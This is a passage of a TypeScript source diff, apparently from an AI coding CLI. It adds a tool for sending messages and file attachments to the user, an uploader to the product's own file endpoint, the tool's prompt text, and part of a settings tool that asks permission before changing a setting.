+          <AttachmentList attachments={output.attachments} />
+        </Box>
+      </Box>;
+  }
+
+  // Brief-only (chat) view: "Claude" label + 2-col indent, matching the "You"
+  // label UserPromptMessage applies to user input (#20889). The "N in background"
+  // spinner status lives in BriefSpinner (Spinner.tsx) — stateless label here.
+  if (options?.isBriefOnly) {
+    const ts = output.sentAt ? formatBriefTimestamp(output.sentAt) : '';
+    return <Box flexDirection="column" marginTop={1} paddingLeft={2}>
+        <Box flexDirection="row">
+          <Text color="briefLabelClaude">Claude</Text>
+          {ts ? <Text dimColor> {ts}</Text> : null}
+        </Box>
+        <Box flexDirection="column">
+          {output.message ? <Markdown>{output.message}</Markdown> : null}
+          <AttachmentList attachments={output.attachments} />
+        </Box>
+      </Box>;
+  }
+
+  // Default view: dropTextInBriefTurns (Messages.tsx) hides the redundant
+  // assistant text that would otherwise precede this — SendUserMessage is the
+  // only text-like content in its turn. No gutter mark; read as plain text.
+  // userFacingName() returns '' so UserToolSuccessMessage drops its columns-5
+  // width constraint and AssistantToolUseMessage renders null (no tool chrome).
+  // Empty minWidth={2} box mirrors AssistantTextMessage's ⏺ gutter spacing.
+  return <Box flexDirection="row" marginTop={1}>
+      <Box minWidth={2} />
+      <Box flexDirection="column">
+        {output.message ? <Markdown>{output.message}</Markdown> : null}
+        <AttachmentList attachments={output.attachments} />
+      </Box>
+    </Box>;
+}
+type AttachmentListProps = {
+  attachments: Output['attachments'];
+};
+export function AttachmentList(t0) {
+  const $ = _c(4);
+  const {
+    attachments
+  } = t0;
+  if (!attachments || attachments.length === 0) {
+    return null;
+  }
+  let t1;
+  if ($[0] !== attachments) {
+    t1 = attachments.map(_temp);
+    $[0] = attachments;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  let t2;
+  if ($[2] !== t1) {
+    t2 = <Box flexDirection="column" marginTop={1}>{t1}</Box>;
+    $[2] = t1;
+    $[3] = t2;
+  } else {
+    t2 = $[3];
+  }
+  return t2;
+}
+function _temp(att) {
+  return <Box key={att.path} flexDirection="row"><Text dimColor={true}>{figures.pointerSmall} {att.isImage ? "[image]" : "[file]"}{" "}</Text><Text>{getDisplayPath(att.path)}</Text><Text dimColor={true}> ({formatFileSize(att.size)})</Text></Box>;
+}
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,{"version":3,"names":["figures","React","Markdown","BLACK_CIRCLE","Box","Text","ProgressMessage","getDisplayPath","formatFileSize","formatBriefTimestamp","Output","renderToolUseMessage","ReactNode","renderToolResultMessage","output","_progressMessages","options","isTranscriptMode","isBriefOnly","hasAttachments","attachments","length","message","ts","sentAt","AttachmentListProps","AttachmentList","t0","$","_c","t1","map","_temp","t2","att","path","pointerSmall","isImage","size"],"sources":["UI.tsx"],"sourcesContent":["import figures from 'figures'\nimport React from 'react'\nimport { Markdown } from '../../components/Markdown.js'\nimport { BLACK_CIRCLE } from '../../constants/figures.js'\nimport { Box, Text } from '../../ink.js'\nimport type { ProgressMessage } from '../../types/message.js'\nimport { getDisplayPath } from '../../utils/file.js'\nimport { formatFileSize } from '../../utils/format.js'\nimport { formatBriefTimestamp } from '../../utils/formatBriefTimestamp.js'\nimport type { Output } from './BriefTool.js'\n\nexport function renderToolUseMessage(): React.ReactNode {\n  return ''\n}\n\nexport function renderToolResultMessage(\n  output: Output,\n  _progressMessages: ProgressMessage[],\n  options?: {\n    isTranscriptMode?: boolean\n    isBriefOnly?: boolean\n  },\n): React.ReactNode {\n  const hasAttachments = (output.attachments?.length ?? 0) > 0\n  if (!output.message && !hasAttachments) {\n    return null\n  }\n\n  // In transcript mode (ctrl+o), model text is NOT filtered — keep the ⏺ so\n  // SendUserMessage is visually distinct from the surrounding text blocks.\n  if (options?.isTranscriptMode) {\n    return (\n      <Box flexDirection=\"row\" marginTop={1}>\n        <Box minWidth={2}>\n          <Text color=\"text\">{BLACK_CIRCLE}</Text>\n        </Box>\n        <Box flexDirection=\"column\">\n          {output.message ? <Markdown>{output.message}</Markdown> : null}\n          <AttachmentList attachments={output.attachments} />\n        </Box>\n      </Box>\n    )\n  }\n\n  // Brief-only (chat) view: \"Claude\" label + 2-col indent, matching the \"You\"\n  // label UserPromptMessage applies to user input (#20889). The \"N in background\"\n  // spinner status lives in BriefSpinner (Spinner.tsx) — stateless label here.\n  if (options?.isBriefOnly) {\n    const ts = output.sentAt ? formatBriefTimestamp(output.sentAt) : ''\n    return (\n      <Box flexDirection=\"column\" marginTop={1} paddingLeft={2}>\n        <Box flexDirection=\"row\">\n          <Text color=\"briefLabelClaude\">Claude</Text>\n          {ts ? <Text dimColor> {ts}</Text> : null}\n        </Box>\n        <Box flexDirection=\"column\">\n          {output.message ? <Markdown>{output.message}</Markdown> : null}\n          <AttachmentList attachments={output.attachments} />\n        </Box>\n      </Box>\n    )\n  }\n\n  // Default view: dropTextInBriefTurns (Messages.tsx) hides the redundant\n  // assistant text that would otherwise precede this — SendUserMessage is the\n  // only text-like content in its turn. No gutter mark; read as plain text.\n  // userFacingName() returns '' so UserToolSuccessMessage drops its columns-5\n  // width constraint and AssistantToolUseMessage renders null (no tool chrome).\n  // Empty minWidth={2} box mirrors AssistantTextMessage's ⏺ gutter spacing.\n  return (\n    <Box flexDirection=\"row\" marginTop={1}>\n      <Box minWidth={2} />\n      <Box flexDirection=\"column\">\n        {output.message ? <Markdown>{output.message}</Markdown> : null}\n        <AttachmentList attachments={output.attachments} />\n      </Box>\n    </Box>\n  )\n}\n\ntype AttachmentListProps = {\n  attachments: Output['attachments']\n}\n\nexport function AttachmentList({\n  attachments,\n}: AttachmentListProps): React.ReactNode {\n  if (!attachments || attachments.length === 0) {\n    return null\n  }\n  return (\n    <Box flexDirection=\"column\" marginTop={1}>\n      {attachments.map(att => (\n        <Box key={att.path} flexDirection=\"row\">\n          <Text dimColor>\n            {figures.pointerSmall} {att.isImage ? '[image]' : '[file]'}{' '}\n          </Text>\n          <Text>{getDisplayPath(att.path)}</Text>\n          <Text dimColor> ({formatFileSize(att.size)})</Text>\n        </Box>\n      ))}\n    </Box>\n  )\n}\n"],"mappings":"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","ignoreList":[]}

src/tools/BriefTool/attachments.ts

@@ -0,0 +1,110 @@
+/**
+ * Shared attachment validation + resolution for SendUserMessage and
+ * SendUserFile. Lives in BriefTool/ so the dynamic `./upload.js` import
+ * inside the feature('BRIDGE_MODE') guard stays relative and upload.ts
+ * (axios, crypto, auth utils) remains tree-shakeable from non-bridge builds.
+ */
+
+import { feature } from 'bun:bundle'
+import { stat } from 'fs/promises'
+
+import type { ValidationResult } from '../../Tool.js'
+
+import { getCwd } from '../../utils/cwd.js'
+import { isEnvTruthy } from '../../utils/envUtils.js'
+import { getErrnoCode } from '../../utils/errors.js'
+import { IMAGE_EXTENSION_REGEX } from '../../utils/imagePaste.js'
+import { expandPath } from '../../utils/path.js'
+
+export type ResolvedAttachment = {
+  path: string
+  size: number
+  isImage: boolean
+  file_uuid?: string
+}
+
+export async function validateAttachmentPaths(
+  rawPaths: string[],
+): Promise<ValidationResult> {
+  const cwd = getCwd()
+  for (const rawPath of rawPaths) {
+    const fullPath = expandPath(rawPath)
+    try {
+      const stats = await stat(fullPath)
+      if (!stats.isFile()) {
+        return {
+          result: false,
+          message: `Attachment "${rawPath}" is not a regular file.`,
+          errorCode: 1,
+        }
+      }
+    } catch (e) {
+      const code = getErrnoCode(e)
+      if (code === 'ENOENT') {
+        return {
+          result: false,
+          message: `Attachment "${rawPath}" does not exist. Current working directory: ${cwd}.`,
+          errorCode: 1,
+        }
+      }
+      if (code === 'EACCES' || code === 'EPERM') {
+        return {
+          result: false,
+          message: `Attachment "${rawPath}" is not accessible (permission denied).`,
+          errorCode: 1,
+        }
+      }
+      throw e
+    }
+  }
+  return { result: true }
+}
+
+export async function resolveAttachments(
+  rawPaths: string[],
+  uploadCtx: { replBridgeEnabled: boolean; signal?: AbortSignal },
+): Promise<ResolvedAttachment[]> {
+  // Stat serially (local, fast) to keep ordering deterministic, then upload
+  // in parallel (network, slow). Upload failures resolve undefined — the
+  // attachment still carries {path, size, isImage} for local renderers.
+  const stated: ResolvedAttachment[] = []
+  for (const rawPath of rawPaths) {
+    const fullPath = expandPath(rawPath)
+    // Single stat — we need size, so this is the operation, not a guard.
+    // validateInput ran before us, but the file could have moved since
+    // (TOCTOU); if it did, let the error propagate so the model sees it.
+    const stats = await stat(fullPath)
+    stated.push({
+      path: fullPath,
+      size: stats.size,
+      isImage: IMAGE_EXTENSION_REGEX.test(fullPath),
+    })
+  }
+  // Dynamic import inside the feature() guard so upload.ts (axios, crypto,
+  // zod, auth utils, MIME map) is fully eliminated from non-BRIDGE_MODE
+  // builds. A static import would force module-scope evaluation regardless
+  // of the guard inside uploadBriefAttachment — CLAUDE.md: "helpers defined
+  // outside remain in the build even if never called".
+  if (feature('BRIDGE_MODE')) {
+    // Headless/SDK callers never set appState.replBridgeEnabled (only the TTY
+    // REPL does, at main.tsx init). CLAUDE_CODE_BRIEF_UPLOAD lets a host that
+    // runs the CLI as a subprocess opt in — e.g. the cowork desktop bridge,
+    // which already passes CLAUDE_CODE_OAUTH_TOKEN for auth.
+    const shouldUpload =
+      uploadCtx.replBridgeEnabled ||
+      isEnvTruthy(process.env.CLAUDE_CODE_BRIEF_UPLOAD)
+    const { uploadBriefAttachment } = await import('./upload.js')
+    const uuids = await Promise.all(
+      stated.map(a =>
+        uploadBriefAttachment(a.path, a.size, {
+          replBridgeEnabled: shouldUpload,
+          signal: uploadCtx.signal,
+        }),
+      ),
+    )
+    return stated.map((a, i) =>
+      uuids[i] === undefined ? a : { ...a, file_uuid: uuids[i] },
+    )
+  }
+  return stated
+}

src/tools/BriefTool/prompt.ts

@@ -0,0 +1,22 @@
+export const BRIEF_TOOL_NAME = 'SendUserMessage'
+export const LEGACY_BRIEF_TOOL_NAME = 'Brief'
+
+export const DESCRIPTION = 'Send a message to the user'
+
+export const BRIEF_TOOL_PROMPT = `Send a message the user will read. Text outside this tool is visible in the detail view, but most won't open it — the answer lives here.
+
+\`message\` supports markdown. \`attachments\` takes file paths (absolute or cwd-relative) for images, diffs, logs.
+
+\`status\` labels intent: 'normal' when replying to what they just asked; 'proactive' when you're initiating — a scheduled task finished, a blocker surfaced during background work, you need input on something they haven't asked about. Set it honestly; downstream routing uses it.`
+
+export const BRIEF_PROACTIVE_SECTION = `## Talking to the user
+
+${BRIEF_TOOL_NAME} is where your replies go. Text outside it is visible if the user expands the detail view, but most won't — assume unread. Anything you want them to actually see goes through ${BRIEF_TOOL_NAME}. The failure mode: the real answer lives in plain text while ${BRIEF_TOOL_NAME} just says "done!" — they see "done!" and miss everything.
+
+So: every time the user says something, the reply they actually read comes through ${BRIEF_TOOL_NAME}. Even for "hi". Even for "thanks".
+
+If you can answer right away, send the answer. If you need to go look — run a command, read files, check something — ack first in one line ("On it — checking the test output"), then work, then send the result. Without the ack they're staring at a spinner.
+
+For longer work: ack → work → result. Between those, send a checkpoint when something useful happened — a decision you made, a surprise you hit, a phase boundary. Skip the filler ("running tests...") — a checkpoint earns its place by carrying information.
+
+Keep messages tight — the decision, the file:line, the PR number. Second person always ("your config"), never third.`

src/tools/BriefTool/upload.ts

@@ -0,0 +1,174 @@
+/**
+ * Upload BriefTool attachments to private_api so web viewers can preview them.
+ *
+ * When the repl bridge is active, attachment paths are meaningless to a web
+ * viewer (they're on Claude's machine). We upload to /api/oauth/file_upload —
+ * the same store MessageComposer/SpaceMessage render from — and stash the
+ * returned file_uuid alongside the path. Web resolves file_uuid → preview;
+ * desktop/local try path first.
+ *
+ * Best-effort: any failure (no token, bridge off, network error, 4xx) logs
+ * debug and returns undefined. The attachment still carries {path, size,
+ * isImage}, so local-terminal and same-machine-desktop render unaffected.
+ */
+
+import { feature } from 'bun:bundle'
+import axios from 'axios'
+import { randomUUID } from 'crypto'
+import { readFile } from 'fs/promises'
+import { basename, extname } from 'path'
+import { z } from 'zod/v4'
+
+import {
+  getBridgeAccessToken,
+  getBridgeBaseUrlOverride,
+} from '../../bridge/bridgeConfig.js'
+import { getOauthConfig } from '../../constants/oauth.js'
+import { logForDebugging } from '../../utils/debug.js'
+import { lazySchema } from '../../utils/lazySchema.js'
+import { jsonStringify } from '../../utils/slowOperations.js'
+
+// Matches the private_api backend limit
+const MAX_UPLOAD_BYTES = 30 * 1024 * 1024
+
+const UPLOAD_TIMEOUT_MS = 30_000
+
+// Backend dispatches on mime: image/* → upload_image_wrapped (writes
+// PREVIEW/THUMBNAIL, no ORIGINAL), everything else → upload_generic_file
+// (ORIGINAL only, no preview). Only whitelist raster formats the
+// transcoder reliably handles — svg/bmp/ico risk a 400, and pdf routes
+// to upload_pdf_file_wrapped which also skips ORIGINAL. Dispatch
+// viewers use /preview for images and /contents for everything else,
+// so images go image/* and the rest go octet-stream.
+const MIME_BY_EXT: Record<string, string> = {
+  '.png': 'image/png',
+  '.jpg': 'image/jpeg',
+  '.jpeg': 'image/jpeg',
+  '.gif': 'image/gif',
+  '.webp': 'image/webp',
+}
+
+function guessMimeType(filename: string): string {
+  const ext = extname(filename).toLowerCase()
+  return MIME_BY_EXT[ext] ?? 'application/octet-stream'
+}
+
+function debug(msg: string): void {
+  logForDebugging(`[brief:upload] ${msg}`)
+}
+
+/**
+ * Base URL for uploads. Must match the host the token is valid for.
+ *
+ * Subprocess hosts (cowork) pass ANTHROPIC_BASE_URL alongside
+ * CLAUDE_CODE_OAUTH_TOKEN — prefer that since getOauthConfig() only
+ * returns staging when USE_STAGING_OAUTH is set, which such hosts don't
+ * set. Without this a staging token hits api.anthropic.com → 401 → silent
+ * skip → web viewer sees inert cards with no file_uuid.
+ */
+function getBridgeBaseUrl(): string {
+  return (
+    getBridgeBaseUrlOverride() ??
+    process.env.ANTHROPIC_BASE_URL ??
+    getOauthConfig().BASE_API_URL
+  )
+}
+
+// /api/oauth/file_upload returns one of ChatMessage{Image,Blob,Document}FileSchema.
+// All share file_uuid; that's the only field we need.
+const uploadResponseSchema = lazySchema(() =>
+  z.object({ file_uuid: z.string() }),
+)
+
+export type BriefUploadContext = {
+  replBridgeEnabled: boolean
+  signal?: AbortSignal
+}
+
+/**
+ * Upload a single attachment. Returns file_uuid on success, undefined otherwise.
+ * Every early-return is intentional graceful degradation.
+ */
+export async function uploadBriefAttachment(
+  fullPath: string,
+  size: number,
+  ctx: BriefUploadContext,
+): Promise<string | undefined> {
+  // Positive pattern so bun:bundle eliminates the entire body from
+  // non-BRIDGE_MODE builds (negative `if (!feature(...)) return` does not).
+  if (feature('BRIDGE_MODE')) {
+    if (!ctx.replBridgeEnabled) return undefined
+
+    if (size > MAX_UPLOAD_BYTES) {
+      debug(`skip ${fullPath}: ${size} bytes exceeds ${MAX_UPLOAD_BYTES} limit`)
+      return undefined
+    }
+
+    const token = getBridgeAccessToken()
+    if (!token) {
+      debug('skip: no oauth token')
+      return undefined
+    }
+
+    let content: Buffer
+    try {
+      content = await readFile(fullPath)
+    } catch (e) {
+      debug(`read failed for ${fullPath}: ${e}`)
+      return undefined
+    }
+
+    const baseUrl = getBridgeBaseUrl()
+    const url = `${baseUrl}/api/oauth/file_upload`
+    const filename = basename(fullPath)
+    const mimeType = guessMimeType(filename)
+    const boundary = `----FormBoundary${randomUUID()}`
+
+    // Manual multipart — same pattern as filesApi.ts. The oauth endpoint takes
+    // a single "file" part (no "purpose" field like the public Files API).
+    const body = Buffer.concat([
+      Buffer.from(
+        `--${boundary}\r\n` +
+          `Content-Disposition: form-data; name="file"; filename="${filename}"\r\n` +
+          `Content-Type: ${mimeType}\r\n\r\n`,
+      ),
+      content,
+      Buffer.from(`\r\n--${boundary}--\r\n`),
+    ])
+
+    try {
+      const response = await axios.post(url, body, {
+        headers: {
+          Authorization: `Bearer ${token}`,
+          'Content-Type': `multipart/form-data; boundary=${boundary}`,
+          'Content-Length': body.length.toString(),
+        },
+        timeout: UPLOAD_TIMEOUT_MS,
+        signal: ctx.signal,
+        validateStatus: () => true,
+      })
+
+      if (response.status !== 201) {
+        debug(
+          `upload failed for ${fullPath}: status=${response.status} body=${jsonStringify(response.data).slice(0, 200)}`,
+        )
+        return undefined
+      }
+
+      const parsed = uploadResponseSchema().safeParse(response.data)
+      if (!parsed.success) {
+        debug(
+          `unexpected response shape for ${fullPath}: ${parsed.error.message}`,
+        )
+        return undefined
+      }
+
+      debug(`uploaded ${fullPath} → ${parsed.data.file_uuid} (${size} bytes)`)
+      return parsed.data.file_uuid
+    } catch (e) {
+      debug(`upload threw for ${fullPath}: ${e}`)
+      return undefined
+    }
+  }
+  return undefined
+}

src/tools/ConfigTool/ConfigTool.ts

@@ -0,0 +1,467 @@
+import { feature } from 'bun:bundle'
+import { z } from 'zod/v4'
+import {
+  type AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+  logEvent,
+} from '../../services/analytics/index.js'
+import { buildTool, type ToolDef } from '../../Tool.js'
+import {
+  type GlobalConfig,
+  getGlobalConfig,
+  getRemoteControlAtStartup,
+  saveGlobalConfig,
+} from '../../utils/config.js'
+import { errorMessage } from '../../utils/errors.js'
+import { lazySchema } from '../../utils/lazySchema.js'
+import { logError } from '../../utils/log.js'
+import {
+  getInitialSettings,
+  updateSettingsForSource,
+} from '../../utils/settings/settings.js'
+import { jsonStringify } from '../../utils/slowOperations.js'
+import { CONFIG_TOOL_NAME } from './constants.js'
+import { DESCRIPTION, generatePrompt } from './prompt.js'
+import {
+  getConfig,
+  getOptionsForSetting,
+  getPath,
+  isSupported,
+} from './supportedSettings.js'
+import {
+  renderToolResultMessage,
+  renderToolUseMessage,
+  renderToolUseRejectedMessage,
+} from './UI.js'
+
+const inputSchema = lazySchema(() =>
+  z.strictObject({
+    setting: z
+      .string()
+      .describe(
+        'The setting key (e.g., "theme", "model", "permissions.defaultMode")',
+      ),
+    value: z
+      .union([z.string(), z.boolean(), z.number()])
+      .optional()
+      .describe('The new value. Omit to get current value.'),
+  }),
+)
+type InputSchema = ReturnType<typeof inputSchema>
+
+const outputSchema = lazySchema(() =>
+  z.object({
+    success: z.boolean(),
+    operation: z.enum(['get', 'set']).optional(),
+    setting: z.string().optional(),
+    value: z.unknown().optional(),
+    previousValue: z.unknown().optional(),
+    newValue: z.unknown().optional(),
+    error: z.string().optional(),
+  }),
+)
+type OutputSchema = ReturnType<typeof outputSchema>
+
+export type Input = z.infer<InputSchema>
+export type Output = z.infer<OutputSchema>
+
+export const ConfigTool = buildTool({
+  name: CONFIG_TOOL_NAME,
+  searchHint: 'get or set Claude Code settings (theme, model)',
+  maxResultSizeChars: 100_000,
+  async description() {
+    return DESCRIPTION
+  },
+  async prompt() {
+    return generatePrompt()
+  },
+  get inputSchema(): InputSchema {
+    return inputSchema()
+  },
+  get outputSchema(): OutputSchema {
+    return outputSchema()
+  },
+  userFacingName() {
+    return 'Config'
+  },
+  shouldDefer: true,
+  isConcurrencySafe() {
+    return true
+  },
+  isReadOnly(input: Input) {
+    return input.value === undefined
+  },
+  toAutoClassifierInput(input) {
+    return input.value === undefined
+      ? input.setting
+      : `${input.setting} = ${input.value}`
+  },
+  async checkPermissions(input: Input) {
+    // Auto-allow reading configs
+    if (input.value === undefined) {
+      return { behavior: 'allow' as const, updatedInput: input }
+    }
+    return {
+      behavior: 'ask' as const,
+      message: `Set ${input.setting} to ${jsonStringify(input.value)}`,
+    }
+  },
+  renderToolUseMessage,
+  renderToolResultMessage,
+  renderToolUseRejectedMessage,
+  async call({ setting, value }: Input, context): Promise<{ data: Output }> {
+    // 1. Check if setting is supported
+    // Voice settings are registered at build-time (feature('VOICE_MODE')), but
+    // must also be gated at runtime. When the kill-switch is on, treat
+    // voiceEnabled as an unknown setting so no voice-specific strings leak.
+    if (feature('VOICE_MODE') && setting === 'voiceEnabled') {
+      const { isVoiceGrowthBookEnabled } = await import(
+        '../../voice/voiceModeEnabled.js'
+      )
+      if (!isVoiceGrowthBookEnabled()) {
+        return {
+          data: { success: false, error: `Unknown setting: "${setting}"` },
+        }
+      }
+    }
+    if (!isSupported(setting)) {
+      return {
+        data: { success: false, error: `Unknown setting: "${setting}"` },
+      }
+    }
+
+    const config = getConfig(setting)!
+    const path = getPath(setting)
+
+    // 2. GET operation
+    if (value === undefined) {
+      const currentValue = getValue(config.source, path)
+      const displayValue = config.formatOnRead
+        ? config.formatOnRead(currentValue)
+        : currentValue
+      return {
+        data: { success: true, operation: 'get', setting, value: displayValue },
+      }
+    }
+
+    // 3. SET operation
+
+    // Handle "default" — unset the config key so it falls back to the
+    // platform-aware default (determined by the bridge feature gate).
+    if (
+      setting === 'remoteControlAtStartup' &&
+      typeof value === 'string' &&
+      value.toLowerCase().trim() === 'default'
+    ) {
+      saveGlobalConfig(prev => {
+        if (prev.remoteControlAtStartup === undefined) return prev
+        const next = { ...prev }
+        delete next.remoteControlAtStartup
+        return next
+      })
+      const resolved = getRemoteControlAtStartup()
+      // Sync to AppState so useReplBridge reacts immediately
+      context.setAppState(prev => {
+        if (prev.replBridgeEnabled === resolved && !prev.replBridgeOutboundOnly)
+          return prev
+        return {
+          ...prev,
+          replBridgeEnabled: resolved,
+          replBridgeOutboundOnly: false,
+        }
+      })
+      return {
+        data: {
+          success: true,
+          operation: 'set',
+          setting,
+          value: resolved,
+        },
+      }
+    }
+
+    let finalValue: unknown = value
+
+    // Coerce and validate boolean values
+    if (config.type === 'boolean') {
+      if (typeof value === 'string') {
+        const lower = value.toLowerCase().trim()
+        if (lower === 'true') finalValue = true
+        else if (lower === 'false') finalValue = false
+      }
+      if (typeof finalValue !== 'boolean') {
+        return {
+          data: {
+            success: false,
+            operation: 'set',
+            setting,
+            error: `${setting} requires true or false.`,
+          },
+        }
+      }
+    }
+
+    // Check options
+    const options = getOptionsForSetting(setting)
+    if (options && !options.includes(String(finalValue))) {
+      return {
+        data: {
+          success: false,
+          operation: 'set',
+          setting,
+          error: `Invalid value "${value}". Options: ${options.join(', ')}`,
+        },
+      }
+    }
+
+    // Async validation (e.g., model API check)
+    if (config.validateOnWrite) {
+      const result = await config.validateOnWrite(finalValue)
+      if (!result.valid) {
+        return {
+          data: {
+            success: false,
+            operation: 'set',
+            setting,
+            error: result.error,
+          },
+        }
+      }
+    }
+
+    // Pre-flight checks for voice mode
+    if (
+      feature('VOICE_MODE') &&
+      setting === 'voiceEnabled' &&
+      finalValue === true
+    ) {
+      const { isVoiceModeEnabled } = await import(
+        '../../voice/voiceModeEnabled.js'
+      )
+      if (!isVoiceModeEnabled()) {
+        const { isAnthropicAuthEnabled } = await import('../../utils/auth.js')
+        return {
+          data: {
+            success: false,
+            error: !isAnthropicAuthEnabled()
+              ? 'Voice mode requires a Claude.ai account. Please run /login to sign in.'
+              : 'Voice mode is not available.',
+          },
+        }
+      }
+      const { isVoiceStreamAvailable } = await import(
+        '../../services/voiceStreamSTT.js'
+      )
+      const {
+        checkRecordingAvailability,
+        checkVoiceDependencies,
+        requestMicrophonePermission,
+      } = await import('../../services/voice.js')
+
